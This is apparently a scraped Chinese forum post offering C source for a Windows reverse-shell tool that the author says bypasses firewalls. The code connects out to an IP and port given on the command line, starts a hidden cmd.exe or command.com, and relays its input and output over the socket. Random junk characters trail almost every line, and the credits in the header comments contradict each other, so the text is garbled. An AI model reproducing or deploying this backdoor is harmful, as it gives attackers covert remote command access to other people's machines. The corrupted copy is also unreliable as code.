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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 e@I?ESZ5  
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/* ============================== ^l iyWl  
Rebound port in Windows NT u}ab[$Q5  
By wind,2006/7 Ad`; O+/;  
===============================*/ x$A5Ved  
#include 8E$KR:/:4  
#include A4SM@ry  
O #0:6QX  
#pragma comment(lib,"wsock32.lib") !5{t1 oJ  
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void OutputShell(); Sc*p7o: A  
SOCKET sClient; 4Ly!:GH3T  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -bE{yT)7  
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void main(int argc,char **argv) f+F /`P%  
{ wddF5EcK0  
WSADATA stWsaData; ? 8'4~1g`}  
int nRet; ~rKo5#D  
SOCKADDR_IN stSaiClient,stSaiServer; <k^h&1J#g  
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if(argc != 3) rZzto;NDS  
{ o"5R^a@  
printf("Useage:\n\rRebound DestIP DestPort\n"); uK t>6DN.  
return; FC)aR[  
} &&t4G}*  
KDCq::P<  
WSAStartup(MAKEWORD(2,2),&stWsaData); ybB/sShGM  
8"p>_K=  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); NShA-G N5  
%,)[%>#{  
stSaiClient.sin_family = AF_INET; T>L6 X:d  
stSaiClient.sin_port = htons(0); `U?;9!|;6  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `cf&4Hn  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) h05 ~ g  
{ [kn`~hI  
printf("Bind Socket Failed!\n"); LM<OYRB(  
return; l tQ:c  
} +F`! Jt  
Z*kg= hs^  
stSaiServer.sin_family = AF_INET; *^QfTKN   
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); g*!2.P  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,V |>nkQ  
pU}>}  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -3bl !9h^  
{ K uFDkT!  
printf("Connect Error!"); e;[/ytz"d'  
return; 44b'40  
} 6rPe\'n=B  
OutputShell(); /FB'  
} w~1K93/p!  
/G</ [N5  
void OutputShell() whRc YnJ  
{ X $cW!a  
char szBuff[1024]; U3p=H^MB.  
SECURITY_ATTRIBUTES stSecurityAttributes; YY$K;t{dk  
OSVERSIONINFO stOsversionInfo; 6g7 X1C  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; R3.tkFZq]  
STARTUPINFO stStartupInfo; [j-]n#E=9y  
char *szShell; } CQ GvH  
PROCESS_INFORMATION stProcessInformation; iF<VbQP=X^  
unsigned long lBytesRead; <A!v'Y  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Mi S$Y  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9\|3Gm_  
stSecurityAttributes.lpSecurityDescriptor = 0; ]<{BDXIGIE  
stSecurityAttributes.bInheritHandle = TRUE; a0y;c@pkO  
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%*:-4K  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); pdmeB  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); L?0dZY-"  
+D$\^ <#  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^[d)Hk}L  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .GkH^9THP  
stStartupInfo.wShowWindow = SW_HIDE; r;}kw(ukC  
stStartupInfo.hStdInput = hReadPipe; &OWiA;e?f  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; FFP>Y*v(  
z <s]Z  
GetVersionEx(&stOsversionInfo); pbju;h)O!|  
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switch(stOsversionInfo.dwPlatformId) orEwP/L:  
{ ?][Mv`ST  
case 1: =>/aM7]  
szShell = "command.com"; pSc<3OI  
break; !`Bb[BTf  
default: !.x(lOqf  
szShell = "cmd.exe"; %mh K1,  
break; piY=(y&3  
} V,{ydxfB  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ezy0m}@   
4l>/6LNMF  
send(sClient,szMsg,77,0); &LHQ) ?  
while(1) [V}I34UN  
{ obS|wTG~  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^tae (}  
if(lBytesRead) Exk[;lI  
{ Vc c/  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); StaX~J6=  
send(sClient,szBuff,lBytesRead,0); c7P"1  
} [%z~0\lu8  
else P\N$TYeH  
{  +'Tr>2V  
lBytesRead=recv(sClient,szBuff,1024,0); ZuILDevMD  
if(lBytesRead<=0) break; 9LzQp`In  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); lhJT&  
} =Tb~CT=  
} @yS  
r|6S&Ia>  
return;  fW|1AUD,  
}
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